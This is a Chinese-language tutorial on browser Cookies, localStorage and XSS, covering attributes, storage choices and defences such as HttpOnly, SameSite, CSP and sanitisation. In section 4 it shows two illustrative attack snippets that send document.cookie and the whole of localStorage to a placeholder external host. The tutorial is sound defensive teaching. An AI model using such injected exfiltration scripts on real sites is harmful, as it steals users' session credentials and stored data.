客户端存储这块内容,很多人是在项目里被坑过一次才回头补课的。我自己也一样:早年做一个后台系统,登录态图省事塞进 localStorage,后来被安全扫描报了个 XSS 风险,才把 Cookie、localStorage 以及它们和 XSS 攻击之间的关系从头捋了一遍。这三个词经常被放在一起讲,但它们不是同一层的东西——Cookie 是浏览器和服务器之间的信使,localStorage 是纯前端的一个本地抽屉,而 XSS 攻击则是那个可能把信使和抽屉一起撬开的手法。搞不清这层关系,写出来的代码大概率是能跑但站不住。这篇内容我打算从实际用法、参数取舍、攻击链路到防御落地,完整讲一遍,适合刚接触前端安全的朋友,也适合写过几年业务、想把这块补扎实的同学参考。
1. 先把三者的定位关系摆清楚
很多人学这块的困惑点在于:Cookie 和 localStorage 都能存东西,那我到底该用哪个?这个问题其实问错了方向。更准确的问法是——这份数据的生命周期归谁管,谁需要读它。搞清楚归属,选型就是水到渠成的事。
1.1 Cookie 的本质是 HTTP 协议的一部分
Cookie 不是给 JavaScript 设计的,它诞生的时候前端还没有 JS 什么事。它的原始职责非常单一:让无状态的 HTTP 协议能记住“你还是你”。服务端在响应头里下发Set-Cookie,浏览器把它存下来,之后每一次同源请求自动附带在Cookie请求头里带回去。注意“自动”这两个字,这是 Cookie 最大的特点,也是它最大的性能负担。
正因为 Cookie 是协议层机制,它的操作接口才会那么原始——前端只能通过document.cookie这个字符串接口去读写,读出来是一整串用分号分隔的键值对,写的时候还得自己拼字符串,而且写一次只能写一个。这种设计在今天看来很别扭,但它恰恰限制了脚本对 Cookie 的随意操控,算是历史包袱里的一点意外之喜。
再往下拆,Cookie 有几个属性直接决定了它的安全边界:HttpOnly让它对 JS 完全不可见,Secure让它只在加密通道上传输,SameSite控制跨站请求时带不带它。这三个属性配得好不好,几乎决定了一个站点在 XSS 和跨站请求伪造面前是站着还是躺着。
1.2 localStorage 是纯粹的浏览器本地仓库
localStorage 的定位完全不同。它是 HTML5 时代给的本地存储方案,特点可以用四个词概括:同源共享、永久有效、同步读写、不随请求走。存进去的东西除非手动removeItem或者用户清缓存,否则一直在;同一个源下的所有标签页共享同一份数据,还能通过storage事件互相通知;但它是同步 API,读写会阻塞主线程;最关键是它完全活在浏览器里,服务端一个字都看不到,除非你主动用 JS 把内容塞进请求体。
这个“服务端看不到”的特性,很多人当成优点,实际上它是把双刃剑。你省掉了每次请求都携带数据的带宽开销,但同时也意味着这份数据没有任何服务端下发时的属性保护——没有HttpOnly,没有Secure,没有SameSite。只要页面上有一处 XSS 能执行脚本,localStorage.getItem()就能把你存的一切原封不动地读出来。
1.3 XSS 是撬开这两个仓库的那把工具
XSS(跨站脚本攻击)的核心,是让攻击者的 JS 代码在你的页面源下执行。一旦执行成功,同源策略就形同虚设——因为在浏览器看来,这段代码就是你自己网站的一部分,它有权访问这个源下的一切:document.cookie(除非有 HttpOnly)、localStorage、sessionStorage、页面 DOM、用户的表单输入。
所以这三者的关系链条是这样的:Cookie 和 localStorage 是数据存放点,XSS 是攻击入口,数据存放点的防护强度决定了攻击者得手后能拿走多少东西。很多人只关注“防住 XSS”,却忽略了“即使被突破,也要让损失可控”,这就是纵深防御的思路。后面几节我会把这条链路上的每一环都拆开讲。
2. Cookie 的属性细节与读写实操
Cookie 这块,真正需要背下来的东西不多,但每一个属性背后的取舍逻辑必须清楚。我见过太多项目Set-Cookie一把梭,什么都没配,上线后各种诡异问题。
2.1 七个属性逐项拆解与配置取舍
下面这张表是我自己整理的一份速查,实际配的时候基本照着对:
| 属性 | 作用 | 常见坑 |
|---|---|---|
Domain | 指定哪些域名可以接收该 Cookie | 不写则默认当前域名(不含子域);写了父域则子域共享,容易扩大暴露面 |
Path | 指定路径前缀匹配 | 写/全站可见;误写成具体路径会导致某些页面读不到 |
Expires/Max-Age | 过期时间,两者同时存在时Max-Age优先 | 都不写就是会话 Cookie,关浏览器即失效 |
Secure | 仅在加密通道传输 | 内网 HTTP 环境配了会导致 Cookie 直接不生效 |
HttpOnly | 禁止 JS 通过document.cookie读取 | 配了之后前端就拿不到,凡是需要前端读的场景都要重新设计 |
SameSite | 控制跨站请求是否携带 | 设为None时必须同时有Secure,否则浏览器直接丢弃 |
Partitioned | 按顶级站点分区存储 | 新特性,兼容性要看目标浏览器范围 |
关于SameSite,值得多讲两句。它的三个取值Strict、Lax、None直接影响跨站场景。Strict最严,任何跨站发起的请求都不带 Cookie,用户从外部链接点进来时会是未登录状态,体验上比较别扭。Lax是现在主流浏览器的默认值,允许顶层导航的 GET 请求携带,POST 表单和 iframe、图片这类子资源请求不带。None等于不限制,但必须搭配Secure。
我的经验是:面向普通用户的站点,登录态 Cookie 用Lax基本够用,兼顾安全和体验;涉及资金、权限变更这类高危操作,可以考虑关键接口单独用Strict的 Cookie 或者加二次验证。嵌入式场景(比如你的页面要被别的站点 iframe 引用)才需要None,但这种场景本身就要慎重评估。
2.2 服务端下发与前端读写的实际写法
服务端下发这块,不同的运行环境写法不一样,但核心都是往响应头里塞Set-Cookie。以一个常见的 Node 服务为例:
res.setHeader('Set-Cookie', [ `session_id=${token}; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=7200`, `theme=dark; Path=/; SameSite=Lax; Max-Age=2592000` ]);注意这里我把两个 Cookie 分开处理:session_id是登录态,必须HttpOnly;theme是主题偏好,前端需要读它来做首屏渲染,就不能加HttpOnly。这种按用途分层配置的习惯,比一刀切要合理得多。
前端读 Cookie 的代码大家都写过,但有几个细节容易翻车:
function getCookie(name) { const prefix = encodeURIComponent(name) + '='; const parts = document.cookie.split('; '); for (const item of parts) { if (item.startsWith(prefix)) { return decodeURIComponent(item.slice(prefix.length)); } } return null; }第一个坑是分割符。document.cookie出来的格式是a=1; b=2,分号后面跟一个空格,直接split(';')会让每个键名前面多一个空格,导致匹配失败。第二个坑是名字包含关系,用indexOf(name)去判断会误匹配到username里的name,必须带上等号一起匹配。第三个坑是编码,值里如果有分号、逗号、空格这类字符,不编码会直接把 Cookie 结构搞乱。
2.3 体积与数量限制这笔账要提前算
规范里建议单个 Cookie 不超过 4KB,单个域名下的 Cookie 数量各浏览器实现不同,但普遍在几十个到一百多个之间。超限之后浏览器会按策略淘汰,通常是优先删最旧或者超出限制的,这里的行为各家不一致,所以别指望靠超限触发什么确定的逻辑。
真正要算的是带宽账。假设一个站点有 20 个 Cookie,平均每个 200 字节,那就是 4KB。用户在页面上触发 50 个静态资源请求,每个请求都带着这 4KB,就是 200KB 的额外上行流量。移动网络环境下,上行带宽本来就紧张,这个开销会实实在在地拖慢首屏。
所以我的原则很明确:Cookie 只放服务端必须知道的最小信息,比如会话标识、语言偏好、灰度标记。用户的操作记录、表单草稿、列表缓存这些,一律不进 Cookie。见过有项目把用户权限列表整个序列化塞进 Cookie 的,几 KB 下去,每个请求都在传,还容易被篡改,属于典型的用错工具。
3. localStorage 的实操与那些绕不开的坑
localStorage 的 API 简单到只有五个方法,但围绕它的坑一点都不少。这一节我把实际项目里踩过的都摊开讲。
3.1 基本 API 与序列化陷阱
API 层面没什么好说的,setItem、getItem、removeItem、clear、key,加上一个length属性。真正的问题在于它只能存字符串。
// 存对象必须序列化 localStorage.setItem('user', JSON.stringify({ id: 1, name: 'A' })); // 取的时候必须反序列化,并且要防脏数据 function readJSON(key, fallback = null) { const raw = localStorage.getItem(key); if (raw === null) return fallback; try { return JSON.parse(raw); } catch (e) { localStorage.removeItem(key); // 脏数据直接清掉,避免反复报错 return fallback; } }这里的坑在于:JSON.parse遇到损坏的数据会抛异常。什么时候会损坏?用户手动改过、写入过程中页面被关了、多个标签页并发写同一个键、旧版本代码写入了新版本代码读不懂的结构——这些情况在真实环境里都会出现。我现在的习惯是,凡是读 localStorage 的地方,一律套一层try/catch加兜底值,绝不让一个存储读取把整页渲染搞崩。
还有一个隐蔽的坑:undefined序列化后变成undefined这个字符串,NaN变成null,Date对象变成字符串但读回来不会自动还原成Date。存复杂对象之前,先想清楚读回来的时候怎么还原,别指望它自动帮你保住类型。
3.2 同步阻塞、容量与跨标签页通信
localStorage 是同步 API,读写都在主线程上执行。单个小键值的读写通常在微秒到毫秒级,感知不到;但如果一次性写入几百 KB 的大 JSON,就会出现明显的卡顿。我自己测过一个场景:把一个约 2MB 的列表数据序列化后写进 localStorage,在中低端手机上主线程阻塞接近 100ms,用户能直观感受到掉帧。
容量方面,主流浏览器普遍给到 5MB 左右,部分实现放宽到 10MB,但这个额度是按源共享的,localStorage 和 sessionStorage 各自计算。超限时setItem会抛出QuotaExceededError,注意这是一个需要捕获的异常,不是静默失败。
function safeSet(key, value) { try { localStorage.setItem(key, value); return true; } catch (e) { if (e.name === 'QuotaExceededError' || e.code === 22) { // 空间不足,按业务策略清理旧的缓存 console.warn('存储空间不足,触发清理逻辑'); return false; } throw e; } }跨标签页通信靠storage事件,这个特性用好了很省事,比如用户在 A 标签页退出登录,B 标签页能立刻收到通知跳转。
window.addEventListener('storage', (e) => { if (e.key === 'logout_flag' && e.newValue) { // 注意:这个事件不会在触发写入的那个标签页里触发 location.href = '/login'; } });有个细节必须记住:storage事件只在其他同源标签页触发,当前写入的页面收不到。所以别写出“我写完了等事件回调”这种逻辑,会永远等不到。另外clear()触发事件时key是null,判断时要处理。
3.3 存储方案选型对照
三种常见方案的对比,我整理成表,实际做技术决策的时候基本看这张:
| 维度 | Cookie | localStorage | sessionStorage |
|---|---|---|---|
| 容量 | 约 4KB | 约 5MB | 约 5MB |
| 生命周期 | 可配置,会话级或持久 | 永久,除非手动清除 | 标签页关闭即失效 |
| 随请求发送 | 是,同源自动携带 | 否 | 否 |
| 服务端可读 | 是 | 否 | 否 |
| JS 可读 | 取决于 HttpOnly | 是 | 是 |
| 跨标签页共享 | 是 | 是 | 否 |
| 同步阻塞 | 否(协议层) | 是 | 是 |
| 适合场景 | 会话标识、轻量偏好 | 非敏感缓存、草稿、主题 | 单标签页临时状态 |
如果数据量再往上走,比如要缓存几万条记录做本地检索,那 localStorage 就不合适了,得上 IndexedDB。它是异步的,容量按磁盘比例给,还能建索引,代价是 API 复杂、需要处理版本迁移。我一般的判断线是:几十 KB 以内且不敏感,localStorage;超过这个量或者需要查询能力,直接 IndexedDB,别硬撑。
4. XSS 攻击的入口与数据被拿走的完整链路
讲防御之前,得先把攻击链路走一遍。不知道对手怎么出手,配的参数全是纸上谈兵。
4.1 三种类型的区别与典型入口
XSS 分三类,区别在于恶意代码存在哪里、怎么被执行:
存储型是最危险的。攻击者把恶意脚本提交到服务端,服务端存进数据库,之后任何用户访问相关页面,脚本就从服务端返回并执行。典型入口是评论区、用户昵称、文章内容、订单备注这类会被落库并回显的字段。这类攻击影响面最大,一次注入,所有访问者中招。
反射型是脚本藏在 URL 参数里,服务端把它原样拼进 HTML 返回。典型场景是搜索页、错误提示页。攻击者需要诱导用户点击构造好的链接,属于一次性攻击。
DOM 型比较特殊,恶意数据从头到尾没经过服务端,完全在前端 JS 里被拼接进 DOM。比如从location.hash取值后直接innerHTML赋值。这类问题服务端的过滤完全管不到,只能靠前端自己守。
实际排查中我总结了一条经验:凡是数据从“不可信来源”流向“可执行上下文”的地方,都是风险点。不可信来源包括 URL、用户输入、第三方接口返回、localStorage 里存的内容;可执行上下文包括innerHTML、document.write、eval、setTimeout的字符串参数、<script>标签的src、事件属性、以及href="javascript:..."。
4.2 Cookie 被读走的链路
假设页面上有个输出点没转义,用户访问后执行了这么一段脚本:
// 攻击者注入的代码,示意 new Image().src = 'https://外部地址/collect?d=' + encodeURIComponent(document.cookie);如果会话 Cookie没有HttpOnly,这一行就能把登录凭据完整送到攻击者手上,攻击者拿着它直接冒充用户,全程不需要密码。而且这种方式很隐蔽,用Image发请求不会引起页面跳转,用户毫无感知。
如果配了HttpOnly,document.cookie里根本读不到这个 Cookie,这一步就断了。但注意,攻击者的脚本仍然在你页面里跑着,他完全可以换个思路:直接调用你页面上的接口,用当前会话的凭据去做操作,这叫“会话内攻击”。所以HttpOnly是必要不充分的。
4.3 localStorage 为什么更“方便”攻击者
localStorage 存的东西,HttpOnly保护不到,因为它压根没有这个属性。这就意味着一旦有 XSS,攻击者可以一次性把整个仓库搬空:
// 攻击者视角,把整个 localStorage 序列化带走 const dump = JSON.stringify({ ...localStorage }); fetch('https://外部地址/collect', { method: 'POST', body: dump });比 Cookie 更麻烦的地方在于,很多项目会把用户信息、权限标识、甚至一些业务 token 塞进 localStorage,因为它容量大、用起来顺手。一旦泄露,攻击者拿到的可能不只是登录态,还有用户的完整画像和一堆可复用的凭据。
我见过最离谱的一个案例(细节做了脱敏),是把刷新令牌存在 localStorage 里,有效期设了 30 天。这意味着一次 XSS,攻击者可以维持一个月的访问权限,而且用户改密码都不一定踢得掉他——取决于服务端有没有做令牌吊销。
所以结论很清楚:localStorage 不是保险箱,它的定位是“方便但不是安全边界”。凡是泄露后会造成实质损害的数据,都不该放进去。
5. 防御落地:从属性配置到纵深体系
防御这块我不想只讲“要转义”这种正确的废话,而是给一套可以照着落的配置和代码。
5.1 认证信息的存储方案取舍
这部分是争议最多的。我先给出我的实践结论,再讲为什么。
| 方案 | 抗 XSS | 抗跨站请求伪造 | 实现复杂度 | 我的评价 |
|---|---|---|---|---|
| localStorage 存 token | 弱 | 天然免疫(不自动带) | 低 | 不推荐用于长期凭据 |
| Cookie + HttpOnly + SameSite=Lax | 较强 | 较强 | 中 | 主推 |
| Cookie + HttpOnly + 独立 CSRF 令牌 | 较强 | 强 | 中高 | 高安全场景 |
| 内存变量 + 短效 token + 刷新机制 | 强 | 强 | 高 | 大型系统适用 |
HttpOnly的 Cookie 之所以是主流,关键在于它把凭据从 JS 的可达范围内彻底移走了。XSS 依然能执行,但拿不到凭据本身,攻击的收益大幅下降。
SameSite=Lax解决了大部分跨站请求伪造的问题,因为它拦住了跨站的 POST 请求携带 Cookie。对于少数必须放开跨站的场景,再配合独立的 CSRF 令牌做二次校验——令牌放在页面 DOM 里或者自定义请求头里,攻击者的跨站表单提交拿不到它。
对于安全要求更高的系统,我倾向的方案是:访问令牌只放内存变量(页面刷新就丢,攻击窗口极短),刷新令牌放 HttpOnly + Secure + SameSite=Strict 的 Cookie,刷新接口限制只能用刷新令牌访问,并做设备指纹绑定。这套组合实现起来麻烦,但它把 XSS 的收益压到了最低。
5.2 输出编码与 DOM 操作的几条红线
输出编码是防 XSS 的基础功,原则是按上下文编码,不是简单地把<换成<就完事。HTML 文本内容、HTML 属性值、JS 字符串、URL 参数、CSS 值,各自有不同的转义规则。
实操层面,最省事的做法是用框架的默认转义,别手动关掉:
// 危险:直接拼 HTML container.innerHTML = '<p>' + userInput + '</p>'; // 安全:用文本节点 const p = document.createElement('p'); p.textContent = userInput; container.appendChild(p);textContent会把内容当纯文本处理,标签不会被解析。凡是只需要展示纯文本的场景,一律用它。如果确实需要渲染富文本,那必须上白名单过滤库,比如 DOMPurify,配置好允许的标签和属性:
const clean = DOMPurify.sanitize(dirtyHtml, { ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'li'], ALLOWED_ATTR: ['href', 'title'] });注意ALLOWED_ATTR里别放on*这类事件属性,也别放style,href还要单独校验是不是javascript:开头。
我的三条红线:
- 不用
eval和new Function处理任何来自用户的内容 - 不用
innerHTML拼接不可信数据,富文本必须过滤 - 动态生成的
<a href>和<iframe src>,协议白名单只放http、https、相对路径
5.3 内容安全策略的落地配置
内容安全策略(CSP)是纵深防御里最有价值的一环,它的思路是:即使有注入的脚本混进来了,浏览器也不执行它。落地方式是服务端加响应头:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://可信脚本源; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'" always;几个关键点值得解释:
object-src 'none'是必配项,能挡住通过插件类内容执行脚本的路径。base-uri 'self'防止攻击者注入<base>标签篡改所有相对路径的解析基准,这个攻击手法挺隐蔽。frame-ancestors 'self'等价于以前的X-Frame-Options,防点击劫持。
script-src里如果出现'unsafe-inline',那 inline 脚本和事件属性就能执行,CSP 的效果大打折扣。很多老项目因为有大量内联脚本,一上来只能开'unsafe-inline',这时候可以先用仅上报模式跑一段时间:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report收集上报数据,看看哪些资源被拦了,逐个迁移,等报告干净了再切换到强制模式。这个迁移过程我做过一次,大概花了两周,主要工作量是清理历史遗留的内联事件绑定。
还有一个容易忽略的问题:CSP 对第三方脚本的约束。如果你引入了外部统计、客服组件,它们的域名必须加进白名单,否则直接被拦。更要命的是,某些第三方脚本自身就有 XSS 风险,一旦被攻破,你白名单里的域名就成了帮凶。所以第三方脚本能少则少,能用带完整性校验的方式就用:
<script src="https://可信源/lib.js" integrity="sha384-校验值" crossorigin="anonymous"></script>5.4 输入校验与存储数据的最小化原则
防御链条上最后一环,其实是不该存的东西别存。这条听起来像废话,但收益最大。
具体做法:localStorage 里只放“丢了也无所谓”的数据,比如界面偏好、展开收起状态、列表滚动位置。用户敏感信息一律不落本地,需要时向服务端要。如果需要做本地缓存以减少请求,那缓存数据里不要包含身份证号、手机号全量、地址这类字段,只保留展示用的脱敏版本。
服务端的输入校验同样不能省。前端的校验只是体验优化,绕过成本几乎为零。服务端要做的是:字段类型、长度、格式、白名单字符集全部校验一遍,任何拼进 SQL、命令、模板、HTML 的输入,都走参数化或者转义。
这里有个容易被忽略的点:校验收紧要防误伤。我见过一个项目把<和>直接从用户输入里过滤掉,结果用户没法写数学表达式,客诉一堆。正确做法不是过滤字符,而是存原文、按上下文输出时转义。存储层保持数据完整性,展示层负责安全,这才是分工。
6. 常见问题与排查技巧实录
实际排查这块最能体现经验差距。下面这些是我和同事在真实项目里遇到的问题,整理成速查表,遇到类似现象可以直接对照。
6.1 问题定位速查表
| 现象 | 可能原因 | 排查动作 |
|---|---|---|
| 跨域请求时 Cookie 带不上 | SameSite限制或前端没开凭据携带 | 检查请求是否设了credentials: 'include',服务端响应头是否回了允许凭据的跨域配置 |
| 服务端能设 Cookie,前端读不到 | 加了HttpOnly | 属正常行为,如确需前端读,重新评估用途后另设一个非 HttpOnly 的 Cookie |
| 生产环境 Cookie 不生效,本地正常 | Secure属性遇到非加密通道 | 检查访问协议,或在开发环境用条件配置关闭Secure |
Set-Cookie带了SameSite=None但没生效 | 缺Secure | 浏览器会直接丢弃该 Cookie,两者必须同时存在 |
| localStorage 写入偶发报错 | 空间不足或隐私模式限制 | 捕获QuotaExceededError,并做降级;隐私模式下部分浏览器限制写入 |
| 刷新后登录态丢失 | 令牌存在内存变量且没做刷新机制 | 补上刷新流程,或用短效 Cookie 承载 |
storage事件不触发 | 监听的是写入的那个标签页 | 换一个标签页测试,事件只在其他同源标签页触发 |
| 富文本展示后页面结构乱掉 | 过滤白名单过宽或被绕过 | 收紧标签属性白名单,禁用事件属性,href做协议校验 |
| 安全扫描报 XSS 但复现不了 | 扫描器误报或需要特定输入 | 找到具体输入点,构造 payload 验证;重点关注 URL 参数反射点 |
| CSP 上线后页面白屏 | 白名单漏了资源域名 | 先切到仅上报模式收集,再逐步放开 |
6.2 几个踩过才知道的坑
坑一:以为设了 HttpOnly 就安全了。前面提过,XSS 依然能执行,攻击者可以直接操作页面上的接口。真正的补救措施是缩短会话有效期、关键操作二次验证、加上异常行为监控。HttpOnly只是把最容易被拿走的东西藏起来,不代表攻击停止。
坑二:Cookie 的 Path 配错导致部分接口丢鉴权。这个我印象很深。项目里把会话 Cookie 的 Path 设成了/app,结果/api下的接口请求全都不带 Cookie,登录态偶尔丢失,排查了大半天。Path 是前缀匹配,但匹配规则比想象中严格——/app不会匹配/application,这两个是完全不同的路径段。不确定的时候,直接写/。
坑三:localStorage 存了大对象拖慢首屏。一个后台系统把菜单树、字典表、用户权限全部序列化存本地,加起来接近 3MB。每次页面加载都要JSON.parse,低端设备上首屏白屏明显变长。后来改成按需加载加内存缓存,只在切换模块时读一次,问题解决。教训是:localStorage 不是免费的,读也是开销。
坑四:转义做在错误的地方。有同事在数据入库时做了 HTML 转义,结果导出的报表里全是&lt;这种实体字符,用户反馈数据是乱的。正确姿势是入库存原文,输出时按上下文转义。存储层一旦做了不可逆的变形,后续任何非 HTML 场景都会出问题。
坑五:CSP 加了之后第三方组件悄悄坏掉。加了 CSP 之后,页面表面上正常,但某个数据统计组件不工作了,因为它的上报接口域名不在connect-src白名单里。这类问题不会报错到控制台显眼位置,只能靠上报日志发现。上线 CSP 前,务必把connect-src、img-src、font-src这些分类都检查一遍。
坑六:忽视服务端渲染场景下的存储差异。如果项目用了服务端渲染,document和window在服务端是拿不到的,直接在模块顶层访问localStorage会报错。必须放到客户端生命周期的钩子里,或者先判断typeof window !== 'undefined'。这个坑在引入服务端渲染框架时几乎人人都踩过。
6.3 一套可以照着执行的加固清单
最后给一份我常用的检查清单,新项目启动或者老项目整改都可以对一遍:
- 认证 Cookie:
HttpOnly+Secure+SameSite=Lax(高危操作单独用Strict),Path 写/ - 非敏感偏好 Cookie:可以不加
HttpOnly,但Secure和SameSite照配 - localStorage:只放非敏感缓存,所有读取加
try/catch和兜底值,定期清理过期键 - 富文本:白名单过滤,禁用事件属性和
javascript:协议 - 模板渲染:默认转义,禁止直接
innerHTML拼接不可信内容 - CSP:先仅上报跑两周,再切强制,必配
object-src 'none'和base-uri 'self' - 依赖:定期清理不用的第三方脚本,引入的加完整性校验
- 会话:访问令牌短有效期,刷新令牌独立通道,关键操作二次校验
这套东西看起来零散,但每一条都对应一个真实的攻击路径或者踩过的故障。逐个落实完之后,再遇到安全扫描报告或者线上异常,脑子里能立刻对上号,不用再从零开始查。
我个人在实际操作中的体会是,客户端存储这块最大的风险不在技术难度,而在“图方便”。localStorage.setItem('token', xxx)一行代码就写完了,比配 Cookie 属性快得多,所以很多项目就这么上线了。等到出问题的时候,代价远比当初省下的那点时间高。写代码的时候多问一句“这份数据泄露了会怎样”,大部分选型问题自然就有答案了。